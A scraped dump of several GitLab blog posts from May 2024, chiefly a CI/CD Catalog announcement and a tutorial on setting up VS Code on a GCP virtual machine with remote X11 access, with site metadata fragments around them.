pipelines from scratch","The CI/CD Catalog becomes generally available in GitLab 17.0. Get to know the capabilities for discovering and sharing pipeline building blocks to help standardize and scale pipelines.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098794/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%289%29_DoeBNJVrhv9FpF3WCsHNc_1750098793762.png","https://about.gitlab.com/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"CI/CD Catalog goes GA: No more building pipelines from scratch\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2024-05-08\",\n      }",{"title":6057,"description":6058,"authors":6063,"heroImage":6059,"date":6064,"body":6065,"category":695,"tags":6066},[902],"2024-05-08","GitLab's [CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/#cicd-catalog) becomes generally available in 17.0 (May 16, 2024), enabling all GitLab users to discover, reuse, and contribute CI/CD components easily. The CI/CD Catalog boosts collaboration and efficiency when creating pipeline configurations by allowing access to a treasure trove of pre-built components, ready to seamlessly integrate into DevSecOps workflows. Enterprises can use the CI/CD Catalog's centralized platform to standardize workflows across the whole organization.\n\nWith the CI/CD Catalog, GitLab is introducing several key capabilities that are also generally available.\n\n> Discover the future of AI-driven software development with our GitLab 17 virtual launch event. [Watch today!](https://about.gitlab.com/seventeen/)\n\n## Components and inputs\nThe [CI/CD Catalog](https://about.gitlab.com/blog/introducing-the-gitlab-ci-cd-catalog-beta/) draws its strength from two fundamental features: components and inputs. These capabilities form the backbone of the catalog, enabling developers and DevSecOps teams to streamline their pipeline development. Let’s dive into each of these features:\n\n### Components\n\n#### What are components?\nComponents are reusable, single-purpose building blocks that abstract away the complexity of pipeline configuration. Think of them as Lego pieces for your CI/CD workflows. By using components, you can assemble pipelines more efficiently without starting from scratch each time.\n\n#### Types of components\n- Template-type components: These components resemble CI templates and come with predefined input definitions. They are organized within a specific directory structure, which you can easily plug into your pipelines.\n- CI Steps (upcoming): This new type of component, which is available as an [experimental feature](https://docs.gitlab.com/ee/ci/steps/), will become a first-class object in the CI/CD Catalog, so stay tuned for this exciting addition.\n\n### Inputs\n\n#### What is Inputs Interpolation?\n\nInputs Interpolation is a powerful feature that allows you to define input parameters for includable configuration files. By using the [spec: inputs keyword](https://docs.gitlab.com/ee/ci/yaml/#specinputs) within your component configuration, you can dynamically replace almost any keywords within components with parameters. This flexibility extends to adjusting stages, scripts, or job names, supporting various data types making the component fully flexible to your needs.\n\n##### Scoped and effective\nImportantly, inputs are scoped exclusively to the included configuration. This prevents unintended effects on the rest of your pipeline. With Inputs Interpolation, you can declare and enforce constraints seamlessly, ensuring smooth integration of components.\n\nWhether you’re a seasoned DevOps pro or just starting out, the CI/CD Catalog, components, and Inputs Interpolation will transform your pipeline development experience.\n\n## How to access CI/CD Catalog components\nThe CI/CD Catalog is a powerful resource for developers and DevOps teams. It allows you to share and discover pre-built components, streamlining your pipeline development. Here’s how it works:\n\n1. Components are standalone building blocks that simplify pipeline configuration. You can create custom components tailored to your needs. But how do you make them available to others? That’s where the CI/CD Catalog comes in.\n\n2. How to publish to the CI/CD Catalog\n    - To share your components with the community, follow these steps:\n      - Use a simple CI job to publish your component and make it discoverable in the CI/CD Catalog.\n      - Whether it’s a reusable script, a deployment template, or any other pipeline element, the CI/CD Catalog is the perfect place to contribute.\nComponents released to the CI/CD Catalog should be tagged with a [semantic version](https://docs.gitlab.com/ee/ci/components/#semantic-versioning) using three digits.\n    - By sharing your components, you contribute to a growing library of resources that benefit the entire community.\n3. Catalog index page\n    - The main page of the CI/CD Catalog (also known as the index page) provides an overview of available projects with published components. Anyone can access the catalog and search for a component that suits their needs.\n    - The index page features two tabs:\n      - All: Displays all component projects that have been published and visible to you.\n      - Your groups: Shows components published within a namespace you’re part of.\n\n![CI/CD Catalog](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098805/Blog/Content%20Images/Blog/Content%20Images/catalog_index_aHR0cHM6_1750098804807.png)\n\n4.  Catalog details page\n\n- Upon clicking on one of the projects in the CI/CD Catalog, you will be redirected to the details page where you can view the available components in that project. \n    - Note that there could be multiple components in a single project.\n\n- The details page features two tabs:\n\u003Ccenter>\u003Ci>Readme: Displays the readme.md of the project that was previously configured by the user.\u003C/i>\u003C/center>\n\n![readme tab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098805/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098804808.png)\n\n\u003Ccenter>\u003Ci>Components: Displays the detailed information for each component such as inputs table syntax to use and more. This information is generated and displayed automatically to help keep it up to date.\u003C/i>\u003C/center>\n\n![components tab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098805/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098804809.png)\n\n## Using a component\n\nTo use a component from the CI/CD Catalog, simply copy the suggested snippet to your pipeline configuration. For example: \n\n```yaml\n\ninclude: \n  - component:   gitlab.com/google-gitlab-components/cloud-run/deploy-cloud-run@0.1.0\n\n```\n\nNote that the snippet contains the fully qualified domain name of the component, so if you moved or clone the component to a different location, you should make sure the FQDN is accurate. You can use the $CI_SERVER_FQDN variable instead of hardcoding the FQDN in your pipeline configuration.\n\nA component can be referenced using the following:\n\n- a commit SHA, for example, e3262fdd0914fa823210cdb79a8c421e2cef79d. We highly recommend using this with $CI_COMMIT_SHA variable in your `.gitlab.ci.yml` file to test a component before publishing it to the CI/CD Catalog.\n- a branch name, for example, main\n- a tag, for example 1.0.0\n- shorthand abbreviation 1.0, which will provide you the latest patched 1.0.x version or 1, which will provide you the latest 1.x.x minor version. This is why it is recommended to use the best practices of semantic versioning and always reference a specific version (minor, major, or a specific patch).\n- ~latest, which always points to the latest semantic version published in the CI/CD Catalog. Use ~latest only if you want to use the absolute latest version at all times, which could include breaking changes., so please use it with caution.\n\n## Understanding the CI/CD Catalog across GitLab deployments\nThe CI/CD Catalog and components offer different flavors to cater to various needs and use cases.\n\n### Private and public components\n\n#### Public components\n\n- Public components are hosted in public repositories and are accessible to everyone.\n- When a public component is published from GitLab.com to the main catalog, it becomes discoverable and available for consumption by all users.\n- We encourage users to contribute their best components to the public catalog, helping us build a thriving community.\n\n#### Private components\n\n- Private components are hosted in private repositories.\n- Visibility based on permissions: Users who access the catalog can also see and search for private components if they have permission to view the repository where the component is hosted.\n    - Private catalog option: In GitLab.com, organizations can publish private components to the main catalog in GitLab.com, thereby creating a “private catalog” with content accessible only to authorized users. \n\n### GitLab.com vs. Self-managed\n- The “public” catalog in GitLab.com: The main catalog is the one that is hosted on GitLab.com and can be accessible to anyone by going to [gitlab.com/explore/catalog](http://gitlab.com/explore/catalog). The CI/CD Catalog is:\n    - Open access: The catalog hosted on GitLab.com is available for anyone to view.\n    - Contribute and grow: By sharing components, users around the world contribute to a growing library of resources that benefits the entire community.\n\n- Self-managed customers: The CI/CD Catalog is also available for self-managed customers however it has several differences: \n    - Empty catalog: For self-managed customers, the catalog initially appears empty since it doesn't contain any available components.\n    - Organizational catalog: Each organization is responsible for its own catalog, where it can create and maintain its own library of components within this flavor.\n    - Using a component from GitLab.com: If you want to use a component from the main catalog in GitLab.com, clone the project locally and publish it to your organizational catalog. Keep in mind that upstream updates will require mirroring to receive the latest changes. You can learn more about how to do that in our [CI/CD Components documentation](https://docs.gitlab.com/ee/ci/components/#use-a-gitlabcom-component-in-a-self-managed-instance).\n\n## What’s next?\n\nThe CI/CD Catalog is only the first step in revolutionizing the way you build and display your available pipelines. Here is a glimpse of what we plan to offer to our users in the upcoming milestones.\n\n### CI Steps\n\nSteps are reusable and composable pieces of a job that can be referenced in your pipeline configuration. Each step defines structured inputs and outputs that can be consumed by other steps. Steps can come from local files, GitLab.com repositories, or any other Git source.\n\nIn GitLab, we think of steps as another type of component. We are going to make sure CI Steps will become a first-class object in the CI/CD Catalog, where users can publish, unpublish, search, and consume steps in the same way as they are using components today.\n\n### Securing your catalog workflows\n\nWe aim to empower central administrators to manage component creation, usage, and publication within their organizational catalog. We are committed to ensuring the publishing process seamlessly integrates with the organization's standards and existing workflow. We want to enable the platform administrators with the capabilities to secure and govern the CI/CD Catalog and component workflows. More information can be found in [this epic](https://gitlab.com/groups/gitlab-org/-/epics/12713).\n\n### Analytics\n\nOur goal is to empower users with seamless control over component management across pipelines, ensuring optimal version control and project alignment. This addresses the challenge of users currently lacking visibility into component usage across various project pipelines. Our objective is to provide users with the capability to swiftly identify outdated versions and take prompt corrective actions as needed. This enhancement will foster an environment where users can efficiently manage and update components, promoting both version control precision and project alignment. Read more in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/393326).\n\n## Get started with the CI/CD Catalog\n\nThe introduction of the CI/CD Catalog revolutionizes pipeline development by offering a vast array of pre-built components. Users don't have to start building pipelines from scratch because the CI/CD Catalog provides an access point to search components and pipeline configurations. The CI/CD Catalog's availability makes accessing and sharing components effortless, fostering collaboration and community growth. Whether utilizing public or private repositories, users can leverage these resources to enhance their pipeline development experience. Moreover, while GitLab.com users benefit from an open-access catalog, self-managed customers can establish organizational catalogs tailored to their needs.\n\n> [Get to know the CI/CD Catalog](https://about.gitlab.com/free-trial/devsecops/) with a free 30-day trial of GitLab Ultimate.\n\n> Learn more about the CI/CD Catalog and components:\n> \n> - [A CI/CD component builder's journey](https://about.gitlab.com/blog/a-ci-component-builders-journey/)\n>\n> - [FAQ: GitLab CI/CD Catalog](https://about.gitlab.com/blog/faq-gitlab-ci-cd-catalog/)\n>\n> - [Documentation: CI/CD components and CI/CD Catalog](https://docs.gitlab.com/ee/ci/components/)\n> \n> - [Introducing CI/CD components and how to use them in GitLab](https://about.gitlab.com/blog/introducing-ci-components/)\n> \n",[110,943,479,754],{"slug":6068,"featured":92,"template":678},"ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch","content:en-us:blog:ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch.yml","Ci Cd Catalog Goes Ga No More Building Pipelines From Scratch","en-us/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch.yml","en-us/blog/ci-cd-catalog-goes-ga-no-more-building-pipelines-from-scratch",{"_path":6074,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6075,"content":6081,"config":6086,"_id":6088,"_type":16,"title":6089,"_source":17,"_file":6090,"_stem":6091,"_extension":20},"/en-us/blog/debug-web-apps-quickly-within-gitlab",{"title":6076,"description":6077,"ogTitle":6076,"ogDescription":6077,"noIndex":6,"ogImage":6078,"ogUrl":6079,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6079,"schema":6080},"Debug Web apps quickly within GitLab","Jam for GitLab, a browser extension, creates GitLab issues with critical context such as browser info, console/network logs, and reproduction steps - in one click.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099168/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2810%29_arHGAEPyRHF7euCvaxE0S_1750099168482.png","https://about.gitlab.com/blog/debug-web-apps-quickly-within-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Debug Web apps quickly within GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ivanha Paz\"}],\n        \"datePublished\": \"2024-05-08\",\n      }",{"title":6076,"description":6077,"authors":6082,"heroImage":6078,"date":6064,"body":6084,"category":734,"tags":6085},[6083],"Ivanha Paz","***Editor's note: From time to time, we invite members of the community to contribute to the GitLab Blog. Thanks to [Jam.dev](https://jam.dev/gitlab) for co-creating with us.***\n\nDebugging a Web app takes a village but gathering information about bugs as they happen can be challenging. Jam.dev launched the Jam for GitLab browser extension (available for Google Chrome, Arc, Opera, and Edge) that enables all DevSecOps team members to create comprehensive debugging reports, complete with instant replays of the bug, with a single click. \n\nThe reports, which are spun up as GitLab issues, include the context engineers need to find and fix bugs, including internet speed, browser information, console/network logs, and reproduction steps. Jam also parses GraphQL requests for errors which can be copied as cURL.\n\nJam for GitLab was built using GitLab's API so it is fully integrated with the DevSecOps platform. Here’s how Jam for GitLab works:\n\n1. Click on the Jam browser extension to record your screen and take a screenshot or replay a bug that just happened. \n\n![Create issue - gif 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099178/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750099177866.gif)\n\n2. Jam automatically generates a GitLab issue with all the technical debugging context.\n\n![Info collected - gif 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099178/Blog/Content%20Images/Blog/Content%20Images/Jam_for_GitLab_debugging_aHR0cHM6_1750099177867.gif)\n\n## Why we created Jam for GitLab\nLike so many of you, we are huge fans of GitLab. A lot of Jam users love and engage with the GitLab developer community. It’s one of Jam’s top 3 most requested integrations! And with their API, GitLab makes it easy for startups like us to build new tools in the GitLab ecosystem. Building for the GitLab community is an important milestone for the Jam team. \n\nJust like GitLab values efficiency, we want to make developers’ lives easier. We believe the best way to do it is by removing a lot of unnecessary barriers for collaboration between engineering and product. We share this vision with GitLab and all of you using it to improve the lives of your customers; and quite literally build the future. \n\nLike my teammate and Jam engineer, Arég, says, “The worst part of the job is trying to debug an existing system to understand why it’s not behaving the way people expect. But you can use Jam, and maybe it’ll be less terrible, and you’ll have more time to do the best part: building something new.”\n\nGitLab is where product teams come together to build what’s next. Not just engineers, but everyone involved in the software development lifecycle. It takes a powerful platform to enable this level of collaboration. We love what GitLab stands for, and it’s truly an honor to contribute to our shared mission by making debugging easier and faster.\n\nFrom all of us at Jam, thank you to the GitLab team for being such awesome people to work with and building a product we and millions around the world love.\n\n> Ready to dramatically cut your debugging time? [Get started with Jam today.](https://jam.dev/gitlab)\n\n*Paz is DevRel lead at Jam.*\n",[232,1207,943],{"slug":6087,"featured":6,"template":678},"debug-web-apps-quickly-within-gitlab","content:en-us:blog:debug-web-apps-quickly-within-gitlab.yml","Debug Web Apps Quickly Within Gitlab","en-us/blog/debug-web-apps-quickly-within-gitlab.yml","en-us/blog/debug-web-apps-quickly-within-gitlab",{"_path":6093,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6094,"content":6100,"config":6104,"_id":6107,"_type":16,"title":6108,"_source":17,"_file":6109,"_stem":6110,"_extension":20},"/en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7",{"title":6095,"description":6096,"ogTitle":6095,"ogDescription":6096,"config":6097,"ogImage":3431,"ogUrl":6098,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6098,"schema":6099},"GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7","Learn more about GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\" Rohit Shambhuni\"}],\n        \"datePublished\": \"2024-05-08\",\n      }",{"title":6095,"description":6096,"authors":6101,"heroImage":3431,"date":6064,"body":6102,"category":674,"tags":6103},[1014],"This is the post for [GitLab Patch Release: 16.11.2, 16.10.5, 16.9.7](https://about.gitlab.com/releases/2024/05/08/patch-release-gitlab-16-11-2-released/).",[1464],{"slug":6105,"featured":6,"template":678,"externalUrl":6106},"gitlab-patch-release-16-11-2-16-10-5-16-9-7","https://about.gitlab.com/releases/2024/05/08/patch-release-gitlab-16-11-2-released/","content:en-us:blog:gitlab-patch-release-16-11-2-16-10-5-16-9-7.yml","Gitlab Patch Release 16 11 2 16 10 5 16 9 7","en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7.yml","en-us/blog/gitlab-patch-release-16-11-2-16-10-5-16-9-7",{"_path":6112,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6113,"content":6118,"config":6123,"_id":6125,"_type":16,"title":6126,"_source":17,"_file":6127,"_stem":6128,"_extension":20},"/en-us/blog/tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access",{"title":6114,"description":6115,"ogTitle":6114,"ogDescription":6115,"noIndex":6,"ogImage":920,"ogUrl":6116,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6116,"schema":6117},"Tutorial: Install VS Code on a cloud provider VM and set up remote access","Learn how to automate the installation of VS Code on a VM running on a cloud provider and how to access it from your local laptop.","https://about.gitlab.com/blog/tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Install VS Code on a cloud provider VM and set up remote access\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2024-05-06\",\n      }",{"title":6114,"description":6115,"authors":6119,"heroImage":920,"date":6120,"body":6121,"category":734,"tags":6122},[937],"2024-05-06","DevSecOps teams can sometimes find they need to run an instance of Visual Studio Code (VS Code) remotely for team members to share when they don't have enough local resources. However, installing, running, and using VS Code on a remote virtual machine (VM) via a cloud provider can be a complex process full of pitfalls and false starts. This tutorial covers how to automate the installation of VS Code on a VM running on a cloud provider.\n\nThis approach involves two separate GitLab projects, each with its own pipeline. The first one uses Terraform to instantiate a virtual machine in GCP running Linux Debian. The second one installs VS Code on the newly instantiated VM. Lastly, we provide a procedure on how to set up your local Mac laptop to connect and use the VS Code instance installed on the remote VM.\n\n## Create a Debian Linux distribution VM on GCP\n\nHere are the steps to create a Debian Linux distribution VM on GCP.\n\n### Prerequisites\n\n1. A GCP account. If you don't have one, please [create one](https://cloud.google.com/free?hl=en).\n2. A GitLab account on [gitlab.com](https://gitlab.com/users/sign_in)\n\n**Note:** This installation uses:\n\n- Debian 5.10.205-2 (2023-12-31) x86_64 GNU/Linux, a.k.a Debian 11\n\n### Create a service account and download its key\n\nBefore you create the first GitLab project, you need to create a service account in GCP and then generate and download a key. You will need this key so that your GitLab pipelines can communicate to GCP and the GitLab API.\n\n1. To authenticate GCP with GitLab, sign in to your GCP account and create a [GCP service account](https://cloud.google.com/docs/authentication#service-accounts) with the following roles:\n- `Compute Network Admin`\n- `Compute Admin`\n- `Service Account User`\n- `Service Account Admin`\n- `Security Admin`\n\n3. Download the JSON file with the service account key you created in the previous step.\n4. On your computer, encode the JSON file to `base64` (replace `/path/to/sa-key.json` to the path where your key is located):\n\n   ```shell\n   base64 -i /path/to/sa-key.json | tr -d \\\\n\n   ```\n\n**NOTE:** Save the output of this command. You will use it later as the value for the `BASE64_GOOGLE_CREDENTIALS` environment variable.\n\n### Configure your GitLab project\n\nNext, you need to create and configure the first GitLab project.\n\n1. Create a group in your GitLab workspace and name it `gcpvmlinuxvscode`.\n\n1. Inside your newly created group, clone the following project:\n\n   ```shell\n   git@gitlab.com:tech-marketing/sandbox/gcpvmlinuxvscode/gcpvmlnxsetup.git\n   ```\n\n1. Drill into your newly cloned project, `gcpvmlnxsetup`, and set up the following CI/CD variables to configure it:\n   1. On the left sidebar, select **Settings > CI/CD**.\n   1. Expand **Variables**.\n   1. Set the variable `BASE64_GOOGLE_CREDENTIALS` to the `base64` encoded JSON file you created in the previous section.\n   1. Set the variable `TF_VAR_gcp_project` to your GCP `project` ID.\n   1. Set the variable `TF_VAR_gcp_region` to your GCP `region` ID, e.g. us-east1, which is also its default value.\n   1. Set the variable `TF_VAR_gcp_zone` to your GCP `zone` ID, e.g. us-east1-d, which is also its default value.\n   1. Set the variable `TF_VAR_machine_type` to the GCP `machine type` ID, e.g. e2-standard-2, which is also its default value.\n   1. Set the variable `TF_VAR_gcp_vmname` to the GCP `vm name` you want to give the VM, e.g. my-test-vm, which is also its default value.\n\n**Note:** We have followed a minimalist approach to set up this VM. If you would like to customize the VM further, please refer to the [Google Terraform provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) and the [Google Compute Instance Terraform provider](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/compute_instance) documentation for additional resource options.\n\n### Provision your VM\n\nAfter configuring your project, manually trigger the provisioning of your VM as follows:\n\n1. On the left sidebar, go to **Build > Pipelines**.\n1. Next to **Play** (**{play}**), select the dropdown list icon (**{chevron-lg-down}**).\n1. Select **Deploy** to manually trigger the deployment job.\n\nWhen the pipeline finishes successfully, you can see your new VM on GCP:\n\n- Check it on your [GCP console's VM instances list](https://console.cloud.google.com/compute/instances).\n\n### Remove the VM\n\n**Important note:** Only run the cleanup job when you no longer need the GCP VM and/or the VS Code that you installed in it.\n\nA manual cleanup job is included in your pipeline by default. To remove all created resources:\n\n1. On the left sidebar, select **Build > Pipelines** and select the most recent pipeline.\n1. For the `destroy` job, select **Play** (**{play}**).\n\n## Install and set up VS Code on a GCP VM\n\nPerform the steps in this section only after you have successfully finished the previous sections above. In this section, you will create the second GitLab project that will install VS Code and its dependencies on the running VM on GCP.\n\n### Prerequisites\n\n1. A provisioned GCP VM. We covered this in the previous sections.\n\n**Note:** This installation uses:\n\n- VS Code Version 1.85.2\n\n### Configure your project\n\n**Note:** Since you will be using the `ssh` command multiple times on your laptop, we strongly suggest that you make a backup copy of your laptop local directory `$HOME/.ssh` before continuing.\n\nNext, you need to create and configure the second GitLab project.\n\n1. Head over to your GitLab group `gcpvmlinuxvscode`, which you created at the beginning of this post.\n\n1. Inside group, `gcpvmlinuxvscode`, clone the following project:\n\n   ```shell\n   git@gitlab.com:tech-marketing/sandbox/gcpvmlinuxvscode/vscvmsetup.git\n   ```\n\n1. Drill into your newly cloned project, `vscvmsetup` and set up the following CI/CD variables to configure it:\n   1. On the left sidebar, select **Settings > CI/CD**.\n   1. Expand **Variables**.\n   1. Set the variable `BASE64_GOOGLE_CREDENTIALS` to the `base64` encoded JSON file you created in project `gcpvmlnxvsc`. You can copy this value from the variable with the same name in project `gcpvmlnxvsc`.\n   1. Set the variable `gcp_project` to your GCP `project` ID.\n   1. Set the variable `gcp_vmname` to your GCP `region` ID, e.g. us-east1.\n   1. Set the variable `gcp_zone` to your GCP `zone` ID, e.g. us-east1-d.\n   1. Set the variable `vm_pwd` to the password that you will use to ssh to the VM.\n   1. Set the variable `gcp_vm_username` to the first portion (before the \"@\" sign) of the email associated to your GCP account, which should be your GitLab email.\n\n### Run the project pipeline\n\nAfter configuring the second GitLab project, manually trigger the provisioning of VS Code and its dependencies to the GCP VM as follows:\n\n1. On the left sidebar, select **Build > Pipelines** and click on the button **Run Pipeline**. On the next screen, click on the button **Run pipeline**.\n\n    The pipeline will:\n\n    - install `xauth` on the virtual machine. This is needed for effective X11 communication between your local desktop and the VM \n    - install `git` on the VM\n    - install `Visual Studio Code` on the VM.\n\n2. At this point, you can wait until the pipeline successfully completes. If you don't want to wait, you can continue to do the first step of the next section. However, you must ensure the pipeline has successfully completed before you can perform Step 2 of the next section.\n\n### Connect to your VM from your local Mac laptop\n\nNow that you have an instance of VS Code running on a Linux VM on GCP, you need to configure your Mac laptop to be able to act as a client to the remote VM. Follow these steps:\n\n1. To connect to the remote VS Code from your Mac, you must first install `XQuartz` on your Mac. You can execute the following command on your Mac to install it:\n\n```\nbrew install xquartz\n```\nOr, you can follow the instructions from the following [tutorial](https://und.edu/research/computational-research-center/tutorials/mac-x11.html) from the University of North Dakota.\n\nAfter the pipeline for project `vscvmsetup` successfully executes to completion (pipeline you manually executed in the previous section), you can connect to the remote VS Code as follows:\n\n2. Launch `XQuartz` on your Mac (it should be located in your Applications folder). Its launching should open up an `xterm` on your Mac. If it does not, then you can select **Applications > Terminal** from the `XQuartz` top menu. \n3. On the `xterm`, enter the following command:\n\n```\ngcloud compute ssh --zone \"[GCP zone]\" \"[name of your VM]\" --project \"[GCP project]\" --ssh-flag=\"-Y\"\n```\nWhere:\n\n- `[VM name]` is the name of the VM you created in project `gcpvmlnxvsc`. Its value should be the same as the `gcp_project` variable.\n- `[GCP zone]` is the zone where the VM is running. Its value should be the same as the `gcp_vmname` variable.\n- `[GCP project]` is the name of your GCP project assigned name. Its value should be the same as the `gcp_project` variable.\n\n***Note: If you have not installed the Google Cloud CLI, please do so by following the [Google documentation](https://cloud.google.com/sdk/docs/install).***\n\n4. If you have not used SSH on your Mac before, you may not have a `.ssh` in your `HOME` directory. If this is the case, you will be asked if you would like to continue with the creation of this directory. Answer **Y**.\n\n5. Next, you will be asked to enter the same password twice to generate a public/private key. Enter the same password you used when defining the variable `vm_pwd` in the required configuration above.\n\n6. Once the SSH key is done propagating, you will need to enter the password again two times to log in to the VM.\n\n7. You should now be logged in to the VM.\n\n### Create a personal access token\n\nThe assumption here is that you already have a GitLab project that you would want to open from and work on the remote VS Code. To do this, you will need to clone your GitLab project from the VM. First, you will be using a personal access token (PAT) to clone your project.\n\n1. Head over to your GitLab project (the one that you'd like to open from the remote VS Code).\n2. From your GitLab project, create a [PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token), name it `pat-gcpvm` and ensure that it has the following scopes: `read_repository`, `write_repository`, `read_registry`, `write_registry`, and `ai_features`\n3. Save the generated PAT somewhere safe; you will need it later.\n\n### Clone the read_repository\n\n1. On your local Mac, from the `xterm` where you are logged on to the remote VM, enter the following command:\n\n```\ngit clone https://[your GitLab username]:[personal_access_token]@gitlab.com/[GitLab project name].git \n```\n\nWhere:\n\n- `[your GitLab username]` is your GitLab handle.\n- `[personal_access_token]` is the PAT you created in the previous section.\n- `[GitLab project name]` is the name of the project that contains the GitLab Code Suggestions test cases.\n\n## Launch Visual Studio Code\n\n1. From the `xterm` where you are logged in to the VM, enter the following command:\n\n```\ncode\n```\n\nWait for a few seconds and Visual Studio Code will appear on your Mac screen.\n\n2. From the VS Code menu, select **File > Open Folder...\"\n3. In the File chooser, select the top-level directory of the GitLab project you cloned in the previous section\n\nThat's it! You're ready to start working on your cloned GitLab project using the VS Code that you installed on a remote Linux-based VM.\n\n### Troubleshooting\n\nWhile using the remotely installed VS Code from your local Mac, you may encounter a few issues. In this section, we provide guidance on how to mitigate them.\n\n#### Keyboard keys not mapped correctly\n\nIf, while running VS Code, you are having issues with your keyboard keys not being mapped correctly, e.g. letter e is backspace, letter r is tab, letter s is clear line, etc., do the following:\n\n1. In VS Code, select **File > Preferences > Settings**.\n1. Search for \"keyboard\". If having issues with the letter e, then search for \"board\". Click on the \"Keyboard\" entry under \"Application.\"\n1. Ensure that the Keyboard Dispatch is set to \"keyCode.\"\n1. Restart VS Code.\n1. If you need further help, this is a good resource for [keyboard problems](https://github.com/microsoft/vscode/wiki/Keybinding-Issues#troubleshoot-linux-keybindings).\n\n#### Error loading webview: Error\n\nIf while running VS Code, you get a message saying:\n\n\"Error loading webview: Error: Could not register service worker: InvalidStateError: Failed to register a ServiceWorker: The document is in an invalid state.\"\n\n1. Exit VS Code and then enter this cmd from the `xterm` window:\n\n`killall code`\n\nYou may need to execute this command two or three times in a row to kill all VS Code processes.\n\n2. Ensure that all VS Code-related processes are gone by entering the following command from the `xterm` window:\n\n`ps -ef | grep code`\n\n3. Once all the VS Code-related processes are gone, restart VS Code by entering the following command from the `xterm` window:\n\n`code`\n\n#### Some useful commands to debug SSH\n\nHere are some useful commands to run on the VM that can help you debug SSH issues:\n\n1. To get the status, location and latest event of sshd:\n\n`sudo systemctl status ssh`\n\n2. To see the log of sshd:\n\n`journalctl -b -a -u ssh`\n\n3. To restart to SSH daemon:\n\n`sudo systemctl restart ssh.service`\n\nOr\n\n`sudo systemctl restart ssh`\n\n4. To start a root shell:\n\n`sudo -s`\n\n## Get started\n\nThis article described how to:\n- instantiate a Linux-based VM on GCP\n- install VS Code and dependencies on the remote VM\n- clone an existing GitLab project of yours in the remote VM\n- open your remotely cloned project from the remotely installed VS Code\n\nAs a result, you can basically use your laptop as a thin client that accesses a remote server, where all the work takes place.\n\n> The automation to get all these parts in place was done by GitLab. Sign up for a [free 30-day GitLab Ultimate trial](https://about.gitlab.com/free-trial/) to get started today!",[3949,696,815],{"slug":6124,"featured":92,"template":678},"tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access","content:en-us:blog:tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access.yml","Tutorial Install Vs Code On A Cloud Provider Vm And Set Up Remote Access","en-us/blog/tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access.yml","en-us/blog/tutorial-install-vs-code-on-a-cloud-provider-vm-and-set-up-remote-access",{"_path":6130,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":6131,"content":6136,"config":6142,"_id":6144,"_type":16,"title":6145,"_source":17,"_file":6146,"_stem":6147,"_extension":20},"/en-us/blog/migration-guide-github-advanced-security-to-gitlab-ultimate",{"title":6132,"description":6133,"ogTitle":6132,"ogDescription":6133,"noIndex":6,"ogImage":1437,"ogUrl":6134,"ogSiteName":1180,"ogType":1181,"canonicalUrls":6134,"schema":6135},"Migration guide: GitHub Advanced Security to GitLab Ultimate","Understand the similarities and differences between GitLab Ultimate and GitHub Advanced Security. Then follow this in-depth tutorial to make the move to the GitLab DevSecOps platform.","https://about.gitlab.com/blog/migration-guide-github-advanced-security-to-gitlab-ultimate","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Migration guide: GitHub Advanced Security to GitLab Ultimate\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2024-05-01\",\n      }",{"title":6132,"description":6133,"authors":6137,"heroImage":1437,"date":6138,"body":6139,"category":674,"tags":6140},[1622],"2024-05-01","GitLab is the most comprehensive AI-powered DevSecOps platform, enabling organizations to deliver more secure software faster 